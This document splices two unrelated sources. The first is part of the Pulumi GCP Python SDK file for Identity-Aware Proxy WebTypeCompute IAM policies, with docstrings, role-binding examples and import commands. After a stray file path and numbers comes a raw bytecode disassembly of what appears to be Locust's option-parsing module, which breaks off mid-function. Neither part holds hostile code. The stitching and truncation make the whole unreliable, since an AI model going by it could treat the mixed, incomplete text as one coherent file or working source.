Conditions: ```python import pulumi import pulumi_gcp as gcp member = gcp.iap.WebTypeComputeIamMember("member", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", member="user:[email protected]", condition=gcp.iap.WebTypeComputeIamMemberConditionArgs( title="expires_after_2019_12_31", description="Expiring at midnight of 2019-12-31", expression="request.time < timestamp(\\"2020-01-01T00:00:00Z\\")", )) ``` For all import syntaxes, the "resource in question" can take any of the following forms: * projects/{{project}}/iap_web/compute * {{project}} Any variables not passed in the import command will be taken from the provider configuration. Identity-Aware Proxy webtypecompute IAM resources can be imported using the resource identifiers, role, and member. IAM member imports use space-delimited identifiers: the resource in question, the role, and the member identity, e.g. ```sh $ pulumi import gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy editor "projects/{{project}}/iap_web/compute roles/iap.httpsResourceAccessor user:[email protected]" ``` IAM binding imports use space-delimited identifiers: the resource in question and the role, e.g. ```sh $ pulumi import gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy editor "projects/{{project}}/iap_web/compute roles/iap.httpsResourceAccessor" ``` IAM policy imports use the identifier of the resource in question, e.g. ```sh $ pulumi import gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy editor projects/{{project}}/iap_web/compute ``` -> **Custom Roles**: If you're importing a IAM resource with a custom role, make sure to use the full name of the custom role, e.g. `[projects/my-project|organizations/my-org]/roles/my-custom-role`. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ ... @overload def __init__( __self__, resource_name: str, args: WebTypeComputeIamPolicyArgs, opts: Optional[pulumi.ResourceOptions] = None, ): """ Three different resources help you manage your IAM policy for Identity-Aware Proxy WebTypeCompute. Each of these resources serves a different use case: * `iap.WebTypeComputeIamPolicy`: Authoritative. Sets the IAM policy for the webtypecompute and replaces any existing policy already attached. * `iap.WebTypeComputeIamBinding`: Authoritative for a given role. Updates the IAM policy to grant a role to a list of members. Other roles within the IAM policy for the webtypecompute are preserved. * `iap.WebTypeComputeIamMember`: Non-authoritative. Updates the IAM policy to grant a role to a new member. Other members for the role for the webtypecompute are preserved. A data source can be used to retrieve policy data in advent you do not need creation * `iap.WebTypeComputeIamPolicy`: Retrieves the IAM policy for the webtypecompute > **Note:** `iap.WebTypeComputeIamPolicy` **cannot** be used in conjunction with `iap.WebTypeComputeIamBinding` and `iap.WebTypeComputeIamMember` or they will fight over what your policy should be. > **Note:** `iap.WebTypeComputeIamBinding` resources **can be** used in conjunction with `iap.WebTypeComputeIamMember` resources **only if** they do not grant privilege to the same role. > **Note:** This resource supports IAM Conditions but they have some known limitations which can be found [here](https://cloud.google.com/iam/docs/conditions-overview#limitations). Please review this article if you are having issues with IAM Conditions. ```python import pulumi import pulumi_gcp as gcp admin = gcp.organizations.get_iam_policy(bindings=[gcp.organizations.GetIAMPolicyBindingArgs( role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"], )]) policy = gcp.iap.WebTypeComputeIamPolicy("policy", project=google_project_service["project_service"]["project"], policy_data=admin.policy_data) ``` With IAM Conditions: ```python import pulumi import pulumi_gcp as gcp admin = gcp.organizations.get_iam_policy(bindings=[gcp.organizations.GetIAMPolicyBindingArgs( role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"], condition=gcp.organizations.GetIAMPolicyBindingConditionArgs( title="expires_after_2019_12_31", description="Expiring at midnight of 2019-12-31", expression="request.time < timestamp(\\"2020-01-01T00:00:00Z\\")", ), )]) policy = gcp.iap.WebTypeComputeIamPolicy("policy", project=google_project_service["project_service"]["project"], policy_data=admin.policy_data) ``` ```python import pulumi import pulumi_gcp as gcp binding = gcp.iap.WebTypeComputeIamBinding("binding", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"]) ``` With IAM Conditions: ```python import pulumi import pulumi_gcp as gcp binding = gcp.iap.WebTypeComputeIamBinding("binding", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", members=["user:[email protected]"], condition=gcp.iap.WebTypeComputeIamBindingConditionArgs( title="expires_after_2019_12_31", description="Expiring at midnight of 2019-12-31", expression="request.time < timestamp(\\"2020-01-01T00:00:00Z\\")", )) ``` ```python import pulumi import pulumi_gcp as gcp member = gcp.iap.WebTypeComputeIamMember("member", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", member="user:[email protected]") ``` With IAM Conditions: ```python import pulumi import pulumi_gcp as gcp member = gcp.iap.WebTypeComputeIamMember("member", project=google_project_service["project_service"]["project"], role="roles/iap.httpsResourceAccessor", member="user:[email protected]", condition=gcp.iap.WebTypeComputeIamMemberConditionArgs( title="expires_after_2019_12_31", description="Expiring at midnight of 2019-12-31", expression="request.time < timestamp(\\"2020-01-01T00:00:00Z\\")", )) ``` For all import syntaxes, the "resource in question" can take any of the following forms: * projects/{{project}}/iap_web/compute * {{project}} Any variables not passed in the import command will be taken from the provider configuration. Identity-Aware Proxy webtypecompute IAM resources can be imported using the resource identifiers, role, and member. IAM member imports use space-delimited identifiers: the resource in question, the role, and the member identity, e.g. ```sh $ pulumi import gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy editor "projects/{{project}}/iap_web/compute roles/iap.httpsResourceAccessor user:[email protected]" ``` IAM binding imports use space-delimited identifiers: the resource in question and the role, e.g. ```sh $ pulumi import gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy editor "projects/{{project}}/iap_web/compute roles/iap.httpsResourceAccessor" ``` IAM policy imports use the identifier of the resource in question, e.g. ```sh $ pulumi import gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy editor projects/{{project}}/iap_web/compute ``` -> **Custom Roles**: If you're importing a IAM resource with a custom role, make sure to use the full name of the custom role, e.g. `[projects/my-project|organizations/my-org]/roles/my-custom-role`. :param str resource_name: The name of the resource. :param WebTypeComputeIamPolicyArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts( WebTypeComputeIamPolicyArgs, pulumi.ResourceOptions, *args, **kwargs ) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init( __self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None, ): opts = pulumi.ResourceOptions.merge( _utilities.get_resource_opts_defaults(), opts ) if not isinstance(opts, pulumi.ResourceOptions): raise TypeError( "Expected resource options to be a ResourceOptions instance" ) if opts.id is None: if __props__ is not None: raise TypeError( "__props__ is only valid when passed in combination with a valid opts.id to get an existing resource" ) __props__ = WebTypeComputeIamPolicyArgs.__new__(WebTypeComputeIamPolicyArgs) if policy_data is None and not opts.urn: raise TypeError("Missing required property 'policy_data'") __props__.__dict__["policy_data"] = policy_data __props__.__dict__["project"] = project __props__.__dict__["etag"] = None super(WebTypeComputeIamPolicy, __self__).__init__( "gcp:iap/webTypeComputeIamPolicy:WebTypeComputeIamPolicy", resource_name, __props__, opts, ) @staticmethod def get( resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, etag: Optional[pulumi.Input[str]] = None, policy_data: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, ) -> "WebTypeComputeIamPolicy": """ Get an existing WebTypeComputeIamPolicy resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] etag: (Computed) The etag of the IAM policy. :param pulumi.Input[str] policy_data: The policy data generated by a `organizations_get_iam_policy` data source. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _WebTypeComputeIamPolicyState.__new__(_WebTypeComputeIamPolicyState) __props__.__dict__["etag"] = etag __props__.__dict__["policy_data"] = policy_data __props__.__dict__["project"] = project return WebTypeComputeIamPolicy(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def etag(self) -> pulumi.Output[str]: """ (Computed) The etag of the IAM policy. """ return pulumi.get(self, "etag") @property @pulumi.getter(name="policyData") def policy_data(self) -> pulumi.Output[str]: """ The policy data generated by a `organizations_get_iam_policy` data source. """ return pulumi.get(self, "policy_data") @property @pulumi.getter def project(self) -> pulumi.Output[str]: """ The ID of the project in which the resource belongs. If it is not provided, the project will be parsed from the identifier of the parent resource. If no project is provided in the parent identifier and no project is specified, the provider project is used. * `member/members` - (Required) Identities that will be granted the privilege in `role`. Each entry can have one of the following values: * **allUsers**: A special identifier that represents anyone who is on the internet; with or without a Google account. * **allAuthenticatedUsers**: A special identifier that represents anyone who is authenticated with a Google account or a service account. * **user:{emailid}**: An email address that represents a specific Google account. For example, [email protected] or [email protected]. * **serviceAccount:{emailid}**: An email address that represents a service account. For example, [email protected]. * **group:{emailid}**: An email address that represents a Google group. For example, [email protected]. * **domain:{domain}**: A G Suite domain (primary, instead of alias) name that represents all the users of that domain. For example, google.com or example.com. * **projectOwner:projectid**: Owners of the given project. For example, "projectOwner:my-example-project" * **projectEditor:projectid**: Editors of the given project. For example, "projectEditor:my-example-project" * **projectViewer:projectid**: Viewers of the given project. For example, "projectViewer:my-example-project" """ return pulumi.get(self, "project")
data/pulumi_gcp-7.9.0/pulumi_gcp/iap/web_type_compute_iam_policy.py
4,062
9,014
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LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME locust STORE_NAME locust LOAD_CONST 0 LOAD_CONST ('runners',) IMPORT_NAME locust IMPORT_FROM runners STORE_NAME runners POP_TOP LOAD_CONST 0 LOAD_CONST ('Message', 'zmqrpc') IMPORT_NAME locust.rpc IMPORT_FROM Message STORE_NAME Message IMPORT_FROM zmqrpc STORE_NAME zmqrpc POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME atexit STORE_NAME atexit LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME platform STORE_NAME platform LOAD_CONST 0 LOAD_CONST None IMPORT_NAME socket STORE_NAME socket LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME tempfile STORE_NAME tempfile LOAD_CONST 0 LOAD_CONST None IMPORT_NAME textwrap STORE_NAME textwrap LOAD_CONST 0 LOAD_CONST ('Any', 'NamedTuple') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM NamedTuple STORE_NAME NamedTuple POP_TOP LOAD_CONST 0 LOAD_CONST ('urlparse',) IMPORT_NAME urllib.parse IMPORT_FROM urlparse STORE_NAME urlparse POP_TOP LOAD_CONST 0 LOAD_CONST ('uuid4',) IMPORT_NAME uuid IMPORT_FROM uuid4 STORE_NAME uuid4 POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME configargparse STORE_NAME configargparse LOAD_CONST 0 LOAD_CONST None IMPORT_NAME gevent STORE_NAME gevent LOAD_CONST 0 LOAD_CONST None IMPORT_NAME requests STORE_NAME requests LOAD_NAME locust LOAD_ATTR __version__ STORE_NAME version LOAD_CONST '~/.locust.conf' LOAD_CONST 'locust.conf' BUILD_LIST STORE_NAME DEFAULT_CONFIG_FILES LOAD_BUILD_CLASS LOAD_CONST <code object LocustArgumentParser at 0x7fab82289810, file "f.py", line 28> LOAD_CONST 'LocustArgumentParser' MAKE_FUNCTION LOAD_CONST 'LocustArgumentParser' LOAD_NAME configargparse LOAD_ATTR ArgumentParser CALL_FUNCTION STORE_NAME LocustArgumentParser LOAD_CONST <code object _is_package at 0x7fab82289420, file "f.py", line 71> LOAD_CONST '_is_package' MAKE_FUNCTION STORE_NAME _is_package LOAD_CONST 'str' LOAD_CONST 'str | None' LOAD_CONST ('locustfile', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object find_locustfile at 0x7fab822896f0, file "f.py", line 78> LOAD_CONST 'find_locustfile' MAKE_FUNCTION STORE_NAME find_locustfile LOAD_CONST 'list[str]' LOAD_CONST 'bool' LOAD_CONST 'list[str]' LOAD_CONST ('locustfiles', 'is_directory', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object find_locustfiles at 0x7fab82289ae0, file "f.py", line 107> LOAD_CONST 'find_locustfiles' MAKE_FUNCTION STORE_NAME find_locustfiles LOAD_CONST 'str' LOAD_CONST 'bool' LOAD_CONST ('url', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object is_url at 0x7fab82289930, file "f.py", line 152> LOAD_CONST 'is_url' MAKE_FUNCTION STORE_NAME is_url LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST ('url', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object download_locustfile_from_url at 0x7fab82289d20, file "f.py", line 163> LOAD_CONST 'download_locustfile_from_url' MAKE_FUNCTION STORE_NAME download_locustfile_from_url LOAD_CONST True LOAD_NAME DEFAULT_CONFIG_FILES BUILD_TUPLE LOAD_CONST 'LocustArgumentParser' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_empty_argument_parser at 0x7fab82289780, file "f.py", line 185> LOAD_CONST 'get_empty_argument_parser' MAKE_FUNCTION STORE_NAME get_empty_argument_parser LOAD_CONST 'str' LOAD_CONST 'int' LOAD_CONST 'str' LOAD_CONST ('master_host', 'master_port', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object download_locustfile_from_master at 0x7fab543938a0, file "f.py", line 227> LOAD_CONST 'download_locustfile_from_master' MAKE_FUNCTION STORE_NAME download_locustfile_from_master LOAD_CONST (None,) LOAD_CONST 'list[str]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parse_locustfile_option at 0x7fab543936f0, file "f.py", line 276> LOAD_CONST 'parse_locustfile_option' MAKE_FUNCTION STORE_NAME parse_locustfile_option LOAD_CONST <code object setup_parser_arguments at 0x7fab54393b70, file "f.py", line 374> LOAD_CONST 'setup_parser_arguments' MAKE_FUNCTION STORE_NAME setup_parser_arguments LOAD_NAME DEFAULT_CONFIG_FILES BUILD_TUPLE LOAD_CONST 'LocustArgumentParser' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_parser at 0x7fab54393a50, file "f.py", line 764> LOAD_CONST 'get_parser' MAKE_FUNCTION STORE_NAME get_parser LOAD_CONST (None,) LOAD_CONST 'configargparse.Namespace' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parse_options at 0x7fab543935d0, file "f.py", line 773> LOAD_CONST 'parse_options' MAKE_FUNCTION STORE_NAME parse_options LOAD_CONST 'dict' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object default_args_dict at 0x7fab54393c90, file "f.py", line 781> LOAD_CONST 'default_args_dict' MAKE_FUNCTION STORE_NAME default_args_dict LOAD_BUILD_CLASS LOAD_CONST <code object UIExtraArgOptions at 0x7fab54393d20, file "f.py", line 788> LOAD_CONST 'UIExtraArgOptions' MAKE_FUNCTION LOAD_CONST 'UIExtraArgOptions' LOAD_NAME NamedTuple CALL_FUNCTION STORE_NAME UIExtraArgOptions LOAD_CONST (None,) LOAD_CONST 'dict[str, dict[str, Any]]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object ui_extra_args_dict at 0x7fab54393660, file "f.py", line 795> LOAD_CONST 'ui_extra_args_dict' MAKE_FUNCTION STORE_NAME ui_extra_args_dict LOAD_CONST 'list[str]' LOAD_CONST 'bool' LOAD_CONST ('locustfiles', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object locustfile_is_directory at 0x7fab41c04150, file "f.py", line 816> LOAD_CONST 'locustfile_is_directory' MAKE_FUNCTION STORE_NAME locustfile_is_directory LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LocustArgumentParser' STORE_NAME __qualname__ LOAD_CONST 'Drop-in replacement for `configargparse.ArgumentParser` that adds support for\n optionally exclude arguments from the UI.\n ' STORE_NAME __doc__ LOAD_CONST 'configargparse.Action' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object add_argument at 0x7fab6400cae0, file "f.py", line 33> LOAD_CONST 'LocustArgumentParser.add_argument' MAKE_FUNCTION STORE_NAME add_argument LOAD_NAME property LOAD_CONST 'dict[str, configargparse.Action]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object args_included_in_web_ui at 0x7fab82209b70, file "f.py", line 52> LOAD_CONST 'LocustArgumentParser.args_included_in_web_ui' MAKE_FUNCTION CALL_FUNCTION STORE_NAME args_included_in_web_ui LOAD_NAME property LOAD_CONST 'dict[str, configargparse.Action]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object secret_args_included_in_web_ui at 0x7fab82289c90, file "f.py", line 60> LOAD_CONST 'LocustArgumentParser.secret_args_included_in_web_ui' MAKE_FUNCTION CALL_FUNCTION STORE_NAME secret_args_included_in_web_ui LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'include_in_web_ui' LOAD_CONST True CALL_METHOD STORE_FAST include_in_web_ui LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'is_secret' LOAD_CONST False CALL_METHOD STORE_FAST is_secret LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR add_argument LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION STORE_FAST action LOAD_FAST include_in_web_ui LOAD_FAST action STORE_ATTR include_in_web_ui LOAD_FAST is_secret LOAD_FAST action STORE_ATTR is_secret LOAD_FAST action RETURN_VALUE LOAD_CONST <code object <dictcomp> at 0x7fab82278c90, file "f.py", line 54> LOAD_CONST 'LocustArgumentParser.args_included_in_web_ui.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR _actions GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 34 STORE_FAST a LOAD_GLOBAL hasattr LOAD_FAST a LOAD_CONST 'include_in_web_ui' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST a LOAD_ATTR include_in_web_ui POP_JUMP_IF_FALSE LOAD_FAST a LOAD_FAST a LOAD_ATTR dest MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7fab82289b70, file "f.py", line 62> LOAD_CONST 'LocustArgumentParser.secret_args_included_in_web_ui.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_DEREF self LOAD_ATTR _actions GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 46 STORE_FAST a LOAD_FAST a LOAD_ATTR dest LOAD_DEREF self LOAD_ATTR args_included_in_web_ui COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL hasattr LOAD_FAST a LOAD_CONST 'is_secret' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST a LOAD_ATTR is_secret POP_JUMP_IF_FALSE LOAD_FAST a LOAD_FAST a LOAD_ATTR dest MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST path CALL_METHOD JUMP_IF_FALSE_OR_POP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST path LOAD_CONST '__init__.py' CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST locustfile BUILD_LIST STORE_FAST names LOAD_FAST names LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD endswith LOAD_CONST '.py' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST names LOAD_METHOD append LOAD_FAST names LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST '.py' BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST names LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD POP_JUMP_IF_FALSE SETUP_LOOP to 238 LOAD_FAST names GET_ITER FOR_ITER to 120 STORE_FAST name LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD expanduser LOAD_FAST name CALL_METHOD STORE_FAST expanded LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST expanded CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST name LOAD_METHOD endswith LOAD_CONST '.py' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL _is_package LOAD_FAST expanded CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_FAST expanded CALL_METHOD RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 238 LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_CONST '.' CALL_METHOD STORE_FAST path SETUP_LOOP to 238 SETUP_LOOP to 208 LOAD_FAST names GET_ITER FOR_ITER to 206 STORE_FAST name LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST path LOAD_FAST name CALL_METHOD STORE_FAST joined LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST joined CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST name LOAD_METHOD endswith LOAD_CONST '.py' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL _is_package LOAD_FAST joined CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_FAST joined CALL_METHOD RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST path CALL_METHOD STORE_FAST parent_path LOAD_FAST parent_path LOAD_FAST path COMPARE_OP == POP_JUMP_IF_FALSE BREAK_LOOP LOAD_FAST parent_path STORE_FAST path JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST file_paths LOAD_FAST is_directory POP_JUMP_IF_FALSE LOAD_FAST locustfiles LOAD_CONST 0 BINARY_SUBSCR STORE_FAST locustdir LOAD_GLOBAL len LOAD_FAST locustfiles CALL_FUNCTION LOAD_CONST 1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST 'Multiple values passed in for directory: ' LOAD_FAST locustfiles FORMAT_VALUE LOAD_CONST '\n' BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST locustdir CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST "Could not find directory '" LOAD_FAST locustdir FORMAT_VALUE LOAD_CONST "'\n" BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST locustdir CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST "'" LOAD_FAST locustdir FORMAT_VALUE LOAD_CONST ' is not a directory\n' BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP SETUP_LOOP to 294 LOAD_GLOBAL os LOAD_METHOD walk LOAD_FAST locustdir CALL_METHOD GET_ITER FOR_ITER to 224 UNPACK_SEQUENCE STORE_FAST root STORE_FAST dirs STORE_FAST files SETUP_LOOP to 222 LOAD_FAST files GET_ITER FOR_ITER to 220 STORE_FAST file LOAD_FAST file LOAD_METHOD startswith LOAD_CONST '_' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST file LOAD_METHOD endswith LOAD_CONST '.py' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST root LOAD_FAST file CALL_METHOD STORE_FAST file_path LOAD_FAST file_paths LOAD_METHOD append LOAD_FAST file_path CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 294 SETUP_LOOP to 294 LOAD_FAST locustfiles GET_ITER FOR_ITER to 292 STORE_FAST file_path LOAD_FAST file_path LOAD_METHOD endswith LOAD_CONST '.py' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST "Invalid file '" LOAD_FAST file_path FORMAT_VALUE LOAD_CONST "'. File should have '.py' extension\n" BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST file_paths LOAD_METHOD append LOAD_FAST file_path CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST file_paths RETURN_VALUE SETUP_EXCEPT to 42 LOAD_GLOBAL urlparse LOAD_FAST url CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_ATTR scheme LOAD_CONST 'https' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST result LOAD_ATTR scheme LOAD_CONST 'http' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE POP_BLOCK JUMP_FORWARD to 62 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 16 LOAD_GLOBAL requests LOAD_METHOD get LOAD_FAST url CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 88 DUP_TOP LOAD_GLOBAL requests LOAD_ATTR exceptions LOAD_ATTR RequestException COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 74 LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST 'Failed to get locustfile from: ' LOAD_FAST url FORMAT_VALUE LOAD_CONST '. Exception: ' LOAD_FAST e FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 88 END_FINALLY LOAD_GLOBAL open LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL tempfile LOAD_METHOD gettempdir CALL_METHOD LOAD_FAST url LOAD_METHOD rsplit LOAD_CONST '/' LOAD_CONST 1 CALL_METHOD LOAD_CONST -1 BINARY_SUBSCR CALL_METHOD LOAD_CONST 'w' CALL_FUNCTION SETUP_WITH to 142 STORE_DEREF locustfile LOAD_DEREF locustfile LOAD_METHOD write LOAD_FAST response LOAD_ATTR text CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None 